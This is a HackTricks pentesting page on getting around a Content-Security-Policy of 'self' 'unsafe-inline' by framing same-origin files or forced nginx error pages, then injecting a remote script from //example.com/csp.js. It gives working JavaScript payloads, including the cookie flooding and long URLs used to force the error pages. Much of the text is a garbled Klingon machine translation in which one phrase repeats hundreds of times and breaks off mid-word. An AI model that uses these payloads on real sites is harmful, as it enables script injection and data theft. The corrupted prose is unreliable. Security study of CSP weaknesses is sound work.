hacktricks/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md
2024-02-10 17:52:19 +00:00

11 KiB

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

A configuration such as:

Content-Security-Policy: default-src 'self' 'unsafe-inline';

Via Text & Images

tlhIngan Hol:

Qapla'! jatlhpu'wI'vam vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlhutlhlaHbe'chugh, 'ej vItlh

frame=document.createElement("iframe");
frame.src="/css/bootstrap.min.css";
document.body.appendChild(frame);
script=document.createElement('script');
script.src='//example.com/csp.js';
window.frames[0].document.head.appendChild(script);

QaD Errors

QaD, qar'a'pu'wI', je 'oHbe' typically come without CSP headers je images, text files, 'ej X-Frame-Options. QaD be induced to load within an iframe, allowing for the following actions:

// Inducing an nginx error
frame=document.createElement("iframe");
frame.src="/%2e%2e%2f";
document.body.appendChild(frame);

// Triggering an error with a long URL
frame=document.createElement("iframe");
frame.src="/"+"A".repeat(20000);
document.body.appendChild(frame);

// Generating an error via extensive cookies
for(var i=0;i<5;i++){document.cookie=i+"="+"a".repeat(4000)};
frame=document.createElement("iframe");
frame.src="/";
document.body.appendChild(frame);
// Removal of cookies is crucial post-execution
for(var i=0;i<5;i++){document.cookie=i+"="}

Translation:

DaH jatlh:

Translation (Markdown):

After triggering any of the mentioned scenarios, JavaScript execution within the iframe is achievable as follows:

script=document.createElement('script');
script.src='//example.com/csp.js';
window.frames[0].document.head.appendChild(script);

References

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks: